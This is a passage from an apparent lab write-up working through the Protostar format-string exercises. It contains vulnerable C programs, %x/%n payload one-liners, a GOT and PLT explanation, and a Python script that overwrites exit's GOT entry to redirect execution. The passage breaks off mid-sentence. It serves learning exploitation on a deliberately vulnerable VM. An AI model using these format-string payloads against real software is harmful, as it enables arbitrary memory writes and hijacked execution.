b7fff8f8 2 bffff742 bffff74c 0 bffff9b1 bffff9bf bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 178bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff72b 1f bffffff2 f bffff73b 0 0 0 ab000000 63f594da 3de356ee 69bf3870 697c9722 363836 2f2e0000 6d726f66 317461 <strong>41414141 8049638 42424242</strong> 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078</pre><p>There we can see our address now we have to get to it such that we can write to it using %n</p><pre>user@protostar:/opt/protostar/bin$ ./format1 &quot;`python -c &quot;print &#39;AAAA&#39;+&#39;\x38\x96\x04\x08&#39; +&#39;BBBB&#39;+&#39;%x &#39;*140&quot;`&quot;<br>AAAA8BBBB804960c bffff638 8048469 b7fd8304 b7fd7ff4 bffff638 8048435 bffff800 b7ff1040 804845b b7fd7ff4 8048450 0 bffff6b8 b7eadc76 2 bffff6e4 bffff6f0 b7fe1848 bffff6a0 ffffffff b7ffeff4 804824d 1 bffff6a0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6b8 87be168e adeae09e 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff6e4 8048450 8048440 b7ff1040 bffff6dc b7fff8f8 2 bffff7f6 bffff800 0 bffff9b1 bffff9bf bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 178bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff7db 1f bffffff2 f bffff7eb 0 0 0 71000000 4b837673 33f8bc29 c8503f44 69727d41 363836 0 2f2e0000 6d726f66 317461 <strong>41414141 8049638 42424242</strong> 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825</pre><p>We are getting closer</p><pre>user@protostar:/opt/protostar/bin$ ./format1 &quot;`python -c &quot;print &#39;AAAA&#39;+&#39;\x38\x96\x04\x08&#39; +&#39;BBBB&#39;+&#39;%x &#39;*130&quot;`&quot;<br>AAAA8BBBB804960c bffff658 8048469 b7fd8304 b7fd7ff4 bffff658 8048435 bffff81e b7ff1040 804845b b7fd7ff4 8048450 0 bffff6d8 b7eadc76 2 bffff704 bffff710 b7fe1848 bffff6c0 ffffffff b7ffeff4 804824d 1 bffff6c0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6d8 b9c4d785 93906195 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff704 8048450 8048440 b7ff1040 bffff6fc b7fff8f8 2 bffff814 bffff81e 0 bffff9b1 bffff9bf bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 178bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff7fb 1f bffffff2 f bffff80b 0 0 0 67000000 b5c5f25 697d2314 ce2ab275 69ecff4b 363836 0 6f662f2e 74616d72 41410031 <strong>96384141 42420804 78254242</strong></pre><p>Now we just keep fiddling around with the stack such that the address becomes aligned:</p><pre>user@protostar:/opt/protostar/bin$ ./format1 &quot;`python -c &quot;print &#39;AAAA&#39;+&#39;\x38\x96\x04\x08&#39;+&#39;BBBBB&#39;+&#39;%x &#39;*128+&#39;%x &#39;&quot;`&quot;<br>AAAA8BBBBB804960c bffff658 8048469 b7fd8304 b7fd7ff4 bffff658 8048435 bffff820 b7ff1040 804845b b7fd7ff4 8048450 0 bffff6d8 b7eadc76 2 bffff704 bffff710 b7fe1848 bffff6c0 ffffffff b7ffeff4 804824d 1 bffff6c0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6d8 a191ad2 204dacc2 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff704 8048450 8048440 b7ff1040 bffff6fc b7fff8f8 2 bffff816 bffff820 0 bffff9b1 bffff9bf bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 178bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff7fb 1f bffffff2 f bffff80b 0 0 0 a8000000 ed37b423 7dd6fafa 260e960b 6915d863 363836 0 2f2e0000 6d726f66 317461 <strong>41414141 8049638</strong></pre><p>As you can see that my lat %x references the address of the target variable, so now if we replace the last %x with %n it will write the printf input to the target variable using the address we have provided:</p><pre>user@protostar:/opt/protostar/bin$ ./format1 &quot;`python -c &quot;print &#39;AAAA&#39;+&#39;\x38\x96\x04\x08&#39;+&#39;BBBBB&#39;+&#39;%x &#39;*128+&#39;%n &#39;&quot;`&quot;<br>AAAA8BBBBB804960c bffff658 8048469 b7fd8304 b7fd7ff4 bffff658 8048435 bffff820 b7ff1040 804845b b7fd7ff4 8048450 0 bffff6d8 b7eadc76 2 bffff704 bffff710 b7fe1848 bffff6c0 ffffffff b7ffeff4 804824d 1 bffff6c0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6d8 e4a5d3d 241eeb2d 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff704 8048450 8048440 b7ff1040 bffff6fc b7fff8f8 2 bffff816 bffff820 0 bffff9b1 bffff9bf bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 178bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff7fb 1f bffffff2 f bffff80b 0 0 0 42000000 4eddec35 f02178d3 5cec85b3 69568ffe 363836 0 2f2e0000 6d726f66 317461 41414141  you have modified the target :)</pre><p>YESSSSS! We have now modified the variable!!!</p><h3>FORMAT2:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int target;<br><br>void vuln()<br>{<br>  char buffer[512];<br><br>  fgets(buffer, sizeof(buffer), stdin);<br>  printf(buffer);<br>  <br>  if(target == 64) {<br>      printf(&quot;you have modified the target :)\n&quot;);<br>  } else {<br>      printf(&quot;target is %d :(\n&quot;, target);<br>  }<br>}<br><br>int main(int argc, char **argv)<br>{<br>  vuln();<br>}</pre><p>Now lets take a look at this. We can see that we have a buffer and then the int target above. Use objdump -t to find target.</p><pre>user@protostar:/opt/protostar/bin$ python -c &quot;print &#39;AAAA&#39;+&#39;\xe4\x96\x04\x08&#39;+&#39;%x &#39;*10&quot; | ./format2  <br>AAAA�200 b7fd8420 bffff614 41414141 80496e4 25207825 78252078 20782520 25207825 78252078 <br>target is 0 :(</pre><p>lets aim for it and see what happens</p><pre>user@protostar:/opt/protostar/bin$ python -c &quot;print &#39;AAAA&#39;+&#39;\xe4\x96\x04\x08&#39;+&#39;%x &#39;*4+&#39;%n &#39;&quot; | ./format2 <br>AAAA�200 b7fd8420 bffff614 41414141  <br>target is 39 :(</pre><p>Ok we got 39. Now %n writes the amount of character we have already printed into the variable, so thus this means we have printed only 39 variables, thus we need to print 64 variable such that when %n is used it will stored 64 into the target variable.</p><pre>user@protostar:/opt/protostar/bin$ python -c &quot;print &#39;AAAAAAAAAAA0&#39;+&#39;\xe4\x96\x04\x08&#39;+&#39;%x&#39;*6+&#39;aaaaa%n&#39;&quot; | ./format2<br>AAAAAAAAAAA0�200b7fd8420bffff614414141414141414130414141aaaaa<br>you have modified the target :)</pre><p>After a bit of work we hit the target!!!!!!! All this takes is a bit if intuition and trial and error.</p><h3>FORMAT3:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int target;<br><br>void printbuffer(char *string)<br>{<br>  printf(string);<br>}<br><br>void vuln()<br>{<br>  char buffer[512];<br><br>  fgets(buffer, sizeof(buffer), stdin);<br><br>  printbuffer(buffer);<br>  <br>  if(target == 0x01025544) {<br>      printf(&quot;you have modified the target :)\n&quot;);<br>  } else {<br>      printf(&quot;target is %08x :(\n&quot;, target);<br>  }<br>}<br><br>int main(int argc, char **argv)<br>{<br>  vuln();<br>}</pre><p>Ok so now it looks like that the input we give in must be of value 0x01025544.</p><p>OH SNAP!!! Well we better get started:</p><p>First use objdump -t to find the address of target which is 0x080496f4. So if we play around you may get something like this:</p><pre>user@protostar:/opt/protostar/bin$ python -c &quot;print &#39;\xf4\x96\x04\x08&#39;+&#39;<strong>%08</strong>x &#39;*11+&#39;%08x&#39;&quot; | ./format3<br>�00000000 bffff5d0 b7fd7ff4 00000000 00000000 bffff7d8 0804849d bffff5d0 00000200 b7fd8420 bffff614 080496f4<br>target is 00000000 :(</pre><p>Ok we are getting there. So the %08x denotes fill the spaces all with 0s such that it is 8 bytes, this acts as our padding.</p><pre>user@protostar:/opt/protostar/bin$ python -c &quot;print &#39;\xf4\x96\x04\x08&#39;+&#39;<strong>%x</strong> &#39;*11+&#39;%08x&#39;&quot; | ./format3<br>�0 bffff5d0 b7fd7ff4 0 0 bffff7d8 804849d bffff5d0 200 b7fd8420 bffff614 080496f4<br>target is 00000000 :(</pre><p>So we can fiddle around with this:</p><pre>user@protostar:/opt/protostar/bin$ python -c &quot;print &#39;\xf4\x96\x04\x08&#39;+&#39;%0757x &#39;*11+&#39;%08n&#39;&quot; | ./format3<br>...<br>...<br>target is 00002096 :)</pre><p>Okay we are getting there</p><pre>user@protostar:/opt/protostar/bin$ python -c &quot;print &#39;\xf4\x96\x04\x08&#39;+&#39;%01539100x &#39;*11+&#39;%08n&#39;&quot; | ./format3<br>...<br>...<br>target is 01025543 :)</pre><p>Well one more to go!!</p><pre>user@protostar:/opt/protostar/bin$ python -c “print ‘\xf4\x96\x04\x08’+’%01539100x ‘*11+’a%08n’” | ./format3<br>...<br>...<br>you have modified the target :)</pre><p>YES!!!!!! We got it!!! IF you are wondering what would happen if I took out the 0 from %08x, instead of padding it with 0 it would instead be spaces.</p><h3>FORMAT4:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int target;<br><br>void hello()<br>{<br>  printf(&quot;code execution redirected! you win\n&quot;);<br>  _exit(1);<br>}<br><br>void vuln()<br>{<br>  char buffer[512];<br><br>  fgets(buffer, sizeof(buffer), stdin);<br><br>  printf(buffer);<br><br>  exit(1);  <br>}<br><br>int main(int argc, char **argv)<br>{<br>  vuln();<br>}</pre><p>There is no ‘target’ we also cannot return to the function ‘hello’ because before we get to ret the program immediately exits. So how do we do it?!?!?</p><p><strong>WE OVERWRITE THE GOT!!!</strong></p><p>Many of you are talking gasps of air as you have no idea what this is but it sounds AWESOME!!! Now time to break your overbearing imagination:</p><p><strong>~FORMAT 4 to be continued……</strong></p><h3>GOT &amp; PLT:</h3><p>Now lets first write a simple C program:</p><pre>#include &lt;stdio.h&gt;</pre><pre>int main() {<br>    puts(&quot;Hello world&quot;);<br>    puts(&quot;c00p4rklynn is my secret name&quot;);<br>    exit(0);<br>    return 0;<br>}</pre><p>And we compile with gcc:</p><pre>$ gcc random.c -o random</pre><p>My C file uses 2 functions which I have not defined and wrote a code for — puts and exit. Then how are they used??? These functions are in a libc library which is a file which contains the functions which are defined and have their code written already. Thus what gcc does is dynamically link the random binary to the libc library thus when the binary uses a function like puts and exit it is called from the libc library and used. Lets now analyze this in gdb:</p><pre>gdb random</pre><pre>(gdb) disassemble main<br>Dump of assembler code for function main:<br>0x080483f4 &lt;main+0&gt;:  push   ebp<br>0x080483f5 &lt;main+1&gt;:  mov  ebp,esp<br>0x080483f7 &lt;main+3&gt;:  and  esp,0xfffffff0<br>0x080483fa &lt;main+6&gt;:  sub  esp,0x10<br>0x080483fd &lt;main+9&gt;:  mov  DWORD PTR [esp],0x80484f0<br><strong>0x08048404 &lt;main+16&gt;: call   0x804831c &lt;puts@plt&gt;</strong><br>0x08048409 &lt;main+21&gt;: mov  DWORD PTR [esp],0x80484fc<br><strong>0x08048410 &lt;main+28&gt;: call   0x804831c &lt;puts@plt&gt;</strong><br>0x08048415 &lt;main+33&gt;: mov  DWORD PTR [esp],0x0<br><strong>0x0804841c &lt;main+40&gt;: call   0x804832c &lt;exit@plt&gt;</strong><br>End of assembler dump.</pre><p>We can see that the <strong>puts</strong> is called at the address <strong>0x804831c</strong>, lets disassemble that address and take a look at it:</p><pre>(gdb) disassemble 0x804831c<br>Dump of assembler code for function puts@plt:<br><strong>0x0804831c &lt;puts@plt+0&gt;:   jmp  DWORD PTR ds:0x804961c</strong><br>0x08048322 &lt;puts@plt+6&gt;:   push   0x10<br>0x08048327 &lt;puts@plt+11&gt;:  jmp  0x80482ec<br>End of assembler dump.</pre><p>WHAT?!?! We are jumping to an address?!?! Lets disassemble that address too.</p><pre>Dump of assembler code for function _GLOBAL_OFFSET_TABLE_:<br>0x08049608 &lt;_GLOBAL_OFFSET_TABLE_+0&gt;:   xor    al,0x95<br>0x0804960a &lt;_GLOBAL_OFFSET_TABLE_+2&gt;:   add    al,0x8<br>0x0804960c &lt;_GLOBAL_OFFSET_TABLE_+4&gt;:   add    BYTE PTR [eax],al<br>0x0804960e &lt;_GLOBAL_OFFSET_TABLE_+6&gt;:   add    BYTE PTR [eax],al<br>0x08049610 &lt;_GLOBAL_OFFSET_TABLE_+8&gt;:   add    BYTE PTR [eax],al<br>0x08049612 &lt;_GLOBAL_OFFSET_TABLE_+10&gt;:  add    BYTE PTR [eax],al<br>0x08049614 &lt;_GLOBAL_OFFSET_TABLE_+12&gt;:  add    al,BYTE PTR [ebx-0x7cedf7fc]<br>0x0804961a &lt;_GLOBAL_OFFSET_TABLE_+18&gt;:  add    al,0x8<br>0x0804961c &lt;_GLOBAL_OFFSET_TABLE_+20&gt;:  and    al,BYTE PTR [ebx-0x7ccdf7fc]<br>0x08049622 &lt;_GLOBAL_OFFSET_TABLE_+26&gt;:  add    al,0x8<br>End of assembler dump.</pre><p>GOT?!?! Lets examine the memory:</p><pre>x 0x804961c<br>0x804961c &lt;_GLOBAL_OFFSET_TABLE_+20&gt;:    &quot;\&quot;\203\004\b2\203\004\b&quot;</pre><p>Ohh so it seems to be redirecting this code out of this binary to an external <strong>library.</strong></p><p>So what we saw here was that the function was first called and went to a jump section which was the PLT — Process Linkage Table — and then jumped to the GOT — Global Offset Table — which contained the address to an external function which was out of the binary — in this case the address of <strong>puts</strong> in the libc library.</p><p>When compiling a binary we do not know where the address of <strong>exit </strong>or <strong>puts</strong> is in libc. When we execute the binary, we call a location where we know it will be, which is the PLT section, it contains a jump to the GOT, where the GOT is a table or a reference list containing the address to where each function is in libc/other dynamically linked libraries.</p><p>To be able to use external functions from a library, we need to write the real address of the function on to the GOT.</p><p>Everyone knows about ELF binary format, it is not normal Assembly code, what it first does before execution of main is that it loads and executes pre-processes like linking the PLT and GOT with the addresses and etc.</p><p>You can exploit this by overwriting the GOT such that instead of the address for an external function, it can call another function of your choice. Also the GOT table is always constant even if libc’s address may change thus you can calculate offsets of various other functions of libc from the address you already have allowing to exploit the binary via ROP or Ret2Libc.</p><p>Now that you have a good understanding of what we are going to do, lets head back…</p><h3>FORMAT 4 …. The Conclusion…</h3><p>Now that we have an understanding of what we are about to do lets get started.</p><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int target;<br><br>void hello()<br>{<br>  printf(&quot;code execution redirected! you win\n&quot;);<br>  _exit(1);<br>}<br><br>void vuln()<br>{<br>  char buffer[512];<br><br>  fgets(buffer, sizeof(buffer), stdin);<br><br>  printf(buffer);<br><br>  exit(1);  <br>}<br><br>int main(int argc, char **argv)<br>{<br>  vuln();<br>}</pre><p>Open a second protostar tab in /tmp, this will make writing scripts easier. So lets find the address of <strong>exit</strong> and the address of <strong>hello</strong>.</p><pre>(gdb) disassemble vuln<br>Dump of assembler code for function vuln:<br>0x080484d2 &lt;vuln+0&gt;:  push   ebp<br>0x080484d3 &lt;vuln+1&gt;:  mov  ebp,esp<br>0x080484d5 &lt;vuln+3&gt;:  sub  esp,0x218<br>0x080484db &lt;vuln+9&gt;:  mov  eax,ds:0x8049730<br>0x080484e0 &lt;vuln+14&gt;:   mov  DWORD PTR [esp+0x8],eax<br>0x080484e4 &lt;vuln+18&gt;:   mov  DWORD PTR [esp+0x4],0x200<br>0x080484ec &lt;vuln+26&gt;:   lea  eax,[ebp-0x208]<br>0x080484f2 &lt;vuln+32&gt;:   mov  DWORD PTR [esp],eax<br>0x080484f5 &lt;vuln+35&gt;:   call   0x804839c &lt;fgets@plt&gt;<br>0x080484fa &lt;vuln+40&gt;:   lea  eax,[ebp-0x208]<br>0x08048500 &lt;vuln+46&gt;:   mov  DWORD PTR [esp],eax<br>0x08048503 &lt;vuln+49&gt;:   call   0x80483cc &lt;printf@plt&gt;<br>0x08048508 &lt;vuln+54&gt;:   mov  DWORD PTR [esp],0x1<br><strong>0x0804850f &lt;vuln+61&gt;:   call   0x80483ec &lt;exit@plt&gt;</strong><br>End of assembler dump.</pre><pre>(gdb) disassemble 0x80483ec<br>Dump of assembler code for function exit@plt:<br><strong>0x080483ec &lt;exit@plt+0&gt;:   jmp  DWORD PTR ds:0x8049724</strong><br>0x080483f2 &lt;exit@plt+6&gt;:   push   0x30<br>0x080483f7 &lt;exit@plt+11&gt;:  jmp  0x804837c<br>End of assembler dump.<br>(gdb) x 0x8049724<br><strong>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   0x080483f2</strong></pre><p>The address of <strong>exit</strong> is <strong>0x08049724</strong> and now <strong>hello</strong> is:</p><pre>(gdb) x hello<br><strong>0x80484b4</strong> &lt;hello&gt;:   0x83e58955</pre><p>The address of <strong>hello</strong> is <strong>0x80484b4. </strong>Now lets start writing a script</p><pre>import struct<br>HELLO = 0x80484b4<br>EXIT = 0x08049724</pre><pre>#Define a function to pad the input to 512 bytes due to the buffer</pre><pre>def padding(s):<br>    return s+(&#39;X&#39;*(512-len(s)))</pre><pre>exploit = &quot;&quot;  #Make sure it is empty <br>exploit += &quot;AAAABBBBCCCC&quot;  #find how far we are from input<br>exploit += &quot;%x &quot;*10</pre><pre>print padding(exploit)</pre><p>Now lets execute it:</p><pre>user@protostar:/opt/protostar/bin$ python /tmp/exp.py | ./format4<br>AAAABBBBCCCC200 b7fd8420 bffff614 41414141 42424242 43434343 25207825 78252078 20782520 25207825 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</pre><p>So after 4 bytes is the offset where the input starts in the stack. We can use the percentage and dollar notation to specify and refrence this offset to the printf function.</p><pre>import struct<br>HELLO = 0x80484b4<br>EXIT = 0x08049724</pre><pre>#Define a function to pad the input to 512 bytes due to the buffer</pre><pre>def padding(s):<br>    return s+(&#39;X&#39;*(512-len(s)))</pre><pre>exploit = &quot;&quot;  #Make sure it is empty<br>exploit += struct.pack(&quot;I&quot;, EXIT) <br>exploit += &quot;AAAABBBBCCCC&quot;  #find how far we are from input<br>exploit += &quot;%4$x &quot;<br>exploit += &quot;%4$n&quot;</pre><pre>print padding(exploit)</pre><p>The %4 means the 4th byte or where 0x41414141 was located which is now replaced by the address of exit, we will now see if we can overwrite the GOT.</p><p>Lets open the program in gdb and disassemble vuln:</p><pre>(gdb) disassemble vuln<br>Dump of assembler code for function vuln:<br>0x080484d2 &lt;vuln+0&gt;:    push   ebp<br>0x080484d3 &lt;vuln+1&gt;:    mov    ebp,esp<br>0x080484d5 &lt;vuln+3&gt;:    sub    esp,0x218<br>0x080484db &lt;vuln+9&gt;:    mov    eax,ds:0x8049730<br>0x080484e0 &lt;vuln+14&gt;:   mov    DWORD PTR [esp+0x8],eax<br>0x080484e4 &lt;vuln+18&gt;:   mov    DWORD PTR [esp+0x4],0x200<br>0x080484ec &lt;vuln+26&gt;:   lea    eax,[ebp-0x208]<br>0x080484f2 &lt;vuln+32&gt;:   mov    DWORD PTR [esp],eax<br>0x080484f5 &lt;vuln+35&gt;:   call   0x804839c &lt;fgets@plt&gt;<br>0x080484fa &lt;vuln+40&gt;:   lea    eax,[ebp-0x208]<br>0x08048500 &lt;vuln+46&gt;:   mov    DWORD PTR [esp],eax<br>0x08048503 &lt;vuln+49&gt;:   call   0x80483cc &lt;printf@plt&gt;<br>0x08048508 &lt;vuln+54&gt;:   mov    DWORD PTR [esp],0x1<br>0x0804850f &lt;vuln+61&gt;:   call   0x80483ec &lt;exit@plt&gt;<br>End of assembler dump.</pre><p>Now lets set breakpoints before and after printf so we can see if the GOT changes.</p><pre>End of assembler dump.<br>(gdb) b*0x08048503<br>Breakpoint 1 at 0x8048503: file format4/format4.c, line 20.<br>(gdb) b*0x08048508<br>Breakpoint 2 at 0x8048508: file format4/format4.c, line 22.</pre><p>Now run and arrive at the first breakpoint:</p><pre>(gdb) r<br>Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20<br>20      in format4/format4.c<br>(gdb) x 0x08049724<br><strong>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   0x080483f2</strong><br>(gdb) c<br>Continuing.</pre><pre>Breakpoint 2, vuln () at format4/format4.c:22<br>22      in format4/format4.c<br>(gdb) x 0x08049724<br><strong>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   0x00000018</strong></pre><p>YESSSS!!! We have overwritten the GOT with a value. Now we have to get the right value. So we are aiming for 0x80484b4 so about 134 million characters should do it. No biggie!!!</p><p>If we did something like that, it would make the stack explode, we can take advantage of another printf internal function which is padding, as we did in format 3 we can give numbers before the “x” and thus is padded with that many number of bytes.</p><p>But if we pad with that many number of bytes, the printing process will be extremely long so what we will do is split it into 2 printing processes:</p><p>Our address is 0x080484b4 so our first printing process will aim for the last 2 bytes which is 84b4 and our second process will aim for 0804:</p><p>The first process:</p><pre>import struct<br>HELLO = 0x80484b4<br>EXIT = 0x08049724</pre><pre>#Define a function to pad the input to 512 bytes due to the buffer</pre><pre>def padding(s):<br>    return s+(&#39;X&#39;*(512-len(s)))</pre><pre>exploit = &quot;&quot;  #Make sure it is empty<br>exploit += struct.pack(&quot;I&quot;, EXIT) <br>exploit += &quot;AAAABBBBCCCC&quot;  #find how far we are from input<br>exploit += &quot;%4$30x &quot;<br>exploit += &quot;%4$n&quot;</pre><pre>print padding(exploit)</pre><p>Lets see first how much we overwrite, thus run it again and examine the GOT:</p><pre>Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20<br>20      in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   0x080483f2<br>(gdb) c<br>Continuing.</pre><pre>Breakpoint 2, vuln () at format4/format4.c:22<br>22      in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   0x0000002f</pre><p>Ok so with a padding of 30 we got 0x2f which is 47 in decimal. We are aiming for hex 84b4 which is 33972, so due to padding offset lets pad our x with 33955 -&gt;<em>33972–19</em>.</p><pre>mport struct<br>HELLO = 0x80484b4<br>EXIT = 0x08049724</pre><pre>#Define a function to pad the input to 512 bytes due to the buffer</pre><pre>def padding(s):<br>    return s+(&#39;X&#39;*(512-len(s)))</pre><pre>exploit = &quot;&quot;  #Make sure it is empty<br>exploit += struct.pack(&quot;I&quot;, EXIT) <br>exploit += &quot;AAAABBBBCCCC&quot;  #find how far we are from input<br>exploit += &quot;%4$33955x &quot;<br>exploit += &quot;%4$n&quot;</pre><pre>print padding(exploit)</pre><p>Run:</p><pre>Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20<br>20      in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   <strong>0x080483f2</strong><br>(gdb) c<br>Continuing.<br>$AAAABBBBCCCC<br>Breakpoint 2, vuln () at format4/format4.c:22<br>22      in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   <strong>0x000084b4</strong></pre><p>Okay we have overwritten the lower half now lets go for the upper:</p><pre>import struct<br>HELLO = 0x80484b4<br>EXIT = 0x08049724</pre><pre>#Define a function to pad the input to 512 bytes due to the buffer</pre><pre>def padding(s):<br>    return s+(&#39;X&#39;*(512-len(s)))</pre><pre>exploit = &quot;&quot;  #Make sure it is empty<br>exploit += struct.pack(&quot;I&quot;, EXIT) <br>exploit += struct.pack(&quot;I&quot;, EXIT+2)<br>exploit += &quot;BBBBCCCC&quot;  #find how far we are from input<br>exploit += &quot;%4$33956x&quot; #Due to the space before it was one byte<br>exploit += &quot;%4$n&quot;      #I have deleted the space and added 1 to the<br>exploit += &quot;%5$30x&quot;    # padding<br>exploit += &quot;%5$n&quot;<br>print padding(exploit) </pre><p>If you remember how stacks look like now that we have added +2 to EXIT it will now refrence the first 2 bytes there. 0x<strong>0000</strong>0000, thus all we have done is moved the pointer forward enabling use to rewrite the address easily. The %5 refrences the offset of 5 bytes from the beginning. Thus %n will write at the 5th offset.</p><p>Run:</p><pre>Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20<br>20      format4/format4.c: No such file or directory.<br>        in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   <strong>0x080483f2</strong><br>(gdb) c<br>Continuing.<br>$&amp;BBBBCCCC<br>Breakpoint 2, vuln () at format4/format4.c:22<br>22      in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   <strong>0x84d284b4</strong></pre><p>We have overwritten successfully but sadly not to the correct value. But we have gone above the target!!! So how do we decrease our number when we can only add to our padding?!?!?</p><p>We overflow it such that it become 1 080484b4 because GOT will only read the four bytes on there which are 080484b4 and disregard the 1 since it is not in the 4 bytes. So we must overflow from 84d2 to 1 0804. We put that in a hex calculator and lets check:</p><p>1 0804 — 84d2 = 8332 or in decimal it is 33586, and we add the existing 30 padding we have to have 33616.</p><pre>import struct<br>HELLO = 0x80484b4<br>EXIT = 0x08049724</pre><pre>#Define a function to pad the input to 512 bytes due to the buffer</pre><pre>def padding(s):<br>    return s+(&#39;X&#39;*(512-len(s)))</pre><pre>exploit = &quot;&quot;  #Make sure it is empty<br>exploit += struct.pack(&quot;I&quot;, EXIT) <br>exploit += struct.pack(&quot;I&quot;, EXIT+2)<br>exploit += &quot;BBBBCCCC&quot;  #find how far we are from input<br>exploit += &quot;%4$33956x&quot; #Due to the space before it was one byte<br>exploit += &quot;%4$n&quot;      #I have deleted the space and added 1 to the<br>exploit += &quot;%5$33616x&quot;    # padding<br>exploit += &quot;%5$n&quot;<br>print padding(exploit)</pre><p>Run:</p><pre>Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20<br>20      in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   <strong>0x080483f2</strong><br>(gdb) c<br>Continuing.<br>$&amp;BBBBCCCC<br>Breakpoint 2, vuln () at format4/format4.c:22<br>22      in format4/format4.c<br>(gdb) x 0x08049724<br>0x8049724 &lt;_GLOBAL_OFFSET_TABLE_+36&gt;:   <strong>0x080484b4</strong></pre><p>Nice we have overwritten it!!! Lets continue to see what 